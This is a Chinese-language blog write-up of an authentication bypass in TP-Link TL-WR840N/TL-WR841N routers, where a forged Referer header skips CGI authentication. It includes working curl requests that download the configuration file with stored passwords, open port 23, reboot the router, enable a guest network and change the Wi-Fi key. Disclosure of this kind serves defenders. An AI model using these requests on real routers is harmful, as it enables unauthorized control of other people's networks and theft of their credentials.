TP-Link TL-WR840N/TL-WR841N 路由器认证绕过漏洞

Posted by JenI on 2018-06-08 00:00:00+08:00

前言

普联技术有限公司(以下简称"TP-LINK")是全球领先的网络通讯设备供应商。自1996年成立以来,TP-LINK始终致力于为大众提供最便利的本地局域网络互联和Internet接入手段 ,为大众在生活、工作、娱乐上日益增长的网络使用需求,提供高品质、高性能价格比的全面设备解决方案。TP-LINK产品涵盖以太网、无线局域网、宽带接入、电力线通信,在既有的传 输、交换、路由等主要核心领域外,正大力扩展移动互联网终端、智能家居、网络安全等领域。

最近,TP-Link TL-WR840N 和 TL-WR841N 中被发现存在安全漏洞,该漏洞源于程序没有正确的处理会话。攻击者可利用该漏洞执行任意操作。以下产品和版本受到影响:TP-Link TL-WR840N v5 00000005 0.9.1 3.16 v0001.0 Build 170608 Rel.58696n 版本;TL-WR841N v13 00000013 0.9.1 4.16 v0001.0 Build 170622 Rel.64334n 版本。

漏洞分析

TL-WR840N 和 TL-WR841N 的 WEB 服务提供了 CGI,这允许用户通过 CGI 对路由器执行部分操作。正常情况下,用户在通过 CGI 操作路由器时,路由器会首先对用户的身份进行认证,如果不是合法用户,路由器会返回 403 页面。但是如果请求中包含了特定的 HTTP Referer,就可以绕过认证阶段,直接执行用户请求的操作。

HTTP Referer 是请求头的一部分,当浏览器向 Web 服务器发送请求的时候,通常会带上 Referer,告诉服务器请求是通过哪个页面进行的,服务器可以藉此获得一些信息用于处理请求,比如说防止外链等。

在对 TL-WR840N 和 TL-WR841N 的 CGI 进行请求时,请求头中加入 Referer: http://xx.xx.xx.xx/mainFrame.htm 即可绕过认证(xx.xx.xx.xx换成路由器IP),直接进行路由器操作。

漏洞复现

路由器的 cgi/ 目录下存在 conf.bin 文件,该文件内保存了路由器的相关配置。首先尝试直接对该文件进行请求,状态码为 403:

tl-authentication-bypass-1

然后在请求头中加入 Referer 字段,再次请求 conf.bin 文件:

tl-authentication-bypass-2

成功读取了该文件。接着将该文件下载下来,并使用相应的工具可以查看路由器的配置。

tl-authentication-bypass-3

比如管理员的密码(特定版本可见),无线网的密码等信息。

tl-authentication-bypass-4

通过得到的信息可以尝试通过浏览器登录路由器。

tl-authentication-bypass-5

如果无法从配置文件中获得管理员的相关信息,依旧可以通过 CGI 来操作路由器,例如在路由器上配置端口转发、重启路由器、开启访客网络、更改无线网密码等,示例如下:

配置端口转发(23端口)

curl -i -s -k -X POST -H "Host: xx.xx.xx.xx" -H "User-Agent:Mozilla/Agent22" -H 'Accept: */*' -H "Referer:http://xx.xx.xx.xx/mainFrame.htm" --data-binary $'[IP_CONN_PORTTRIGGERING#0,0,0,0,0,0#1,1,2,0,0,0]0,5\x0d\x0atriggerPort=23\x0d\x0atriggerProtocol=TCP or UDP\x0d\x0aopenProtocol=TCP or UDP\x0d\x0aenable=1\x0d\x0aopenPort=23\x0d\x0a' http://192.168.0.1/cgi?3

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

[1,1,2,7,0,0]0
triggerPort=23
triggerProtocol=TCP or UDP
openProtocol=TCP or UDP
enable=1
openPort=23
[error]0

重启路由器([error]0说明命令执行成功)

curl -i -s -k -X POST -H "Host: xx.xx.xx.xx" -H "User-Agent:Mozilla/Agent22" -H 'Accept: */*' -H "Referer:http://xx.xx.xx.xx/mainFrame.htm" --data-binary $'[ACT_REBOOT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' http://xx.xx.xx.xx/cgi?7

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive

[error]0

开启访客网络(SSID: Agent22, PreSharedKey: 9876543210)

curl -i -s -k -X $'POST' -H $'Host: xx.xx.xx.xx' -H $'User-Agent: Aent22' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: text/plain' -H $'Referer: http://xx.xx.xx.xx/mainFrame.htm' -H $'Content-Length: 844' -H $'Connection: close' --data-binary $'[LAN_WLAN_MULTISSID#1,1,0,0,0,0#0,0,0,0,0,0]0,1\x0d\x0amultiSSIDEnable=1\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,1,1,0,0,0#0,0,0,0,0,0]1,11\x0d\x0aIsolateClients=0\x0d\x0aEnable=1\x0d\x0aSSID=Agent22\x0d\x0aBeaconType=WPAand11i\x0d\x0aWPAAuthenticationMode=PSKAuthentication\x0d\x0aWPAEncryptionModes=TKIPandAESEncryption\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=TKIPandAESEncryption\x0d\x0aPreSharedKey=9876543210\x0d\x0aGroupKeyUpdateInterval=0\x0d\x0aMaxStaNum=32\x0d\x0a[LAN_WLAN_MSSIDENTRY#1,2,1,0,0,0#0,0,0,0,0,0]2,1\x0d\x0aIsolateClients=0\x0d\x0a[LAN_WLAN_GUESTNET#1,1,0,0,0,0#0,0,0,0,0,0]3,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=1\x0d\x0a[LAN_WLAN_GUESTNET#1,2,0,0,0,0#0,0,0,0,0,0]4,8\x0d\x0aLANAccessEnable=1\x0d\x0aUSBAccessEnable=0\x0d\x0aTCEnable=0\x0d\x0aTCMinUpBW=100\x0d\x0aTCMaxUpBW=200\x0d\x0aTCMinDownBW=100\x0d\x0aTCMaxDownBW=200\x0d\x0alastModified=0\x0d\x0a' $'http://xx.xx.xx.xx/cgi?2&2&2&2&2'

更改无线网密码(IEEE11iAuthenticationMode: PSKAuthentication, IEEE11iEncryptionModes: AESEncryption, X_TP_PreSharedKey: 9876543210)

curl -i -s -k -X $'POST' -H $'Host: XX.XX.XX.XX' -H $'User-Agent: Agent22' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: text/plain' -H $'Referer: http://XX.XX.XX.XX/mainFrame.htm' -H $'Content-Length: 199' -H $'Connection: close' --data-binary $'[LAN_WLAN#1,1,0,0,0,0#0,0,0,0,0,0]0,5\x0d\x0aBeaconType=11i\x0d\x0aIEEE11iAuthenticationMode=PSKAuthentication\x0d\x0aIEEE11iEncryptionModes=AESEncryption\x0d\x0aX_TP_PreSharedKey=9876543210\x0d\x0aX_TP_GroupKeyUpdateInterval=0\x0d\x0a' $'http://XX.XX.XX.XX/cgi?2'

参考

TP-Link-TL-WR840N-TL-WR841N-Authentication-Bypass


作者:   JenI   转载请注明出处,谢谢


Comments !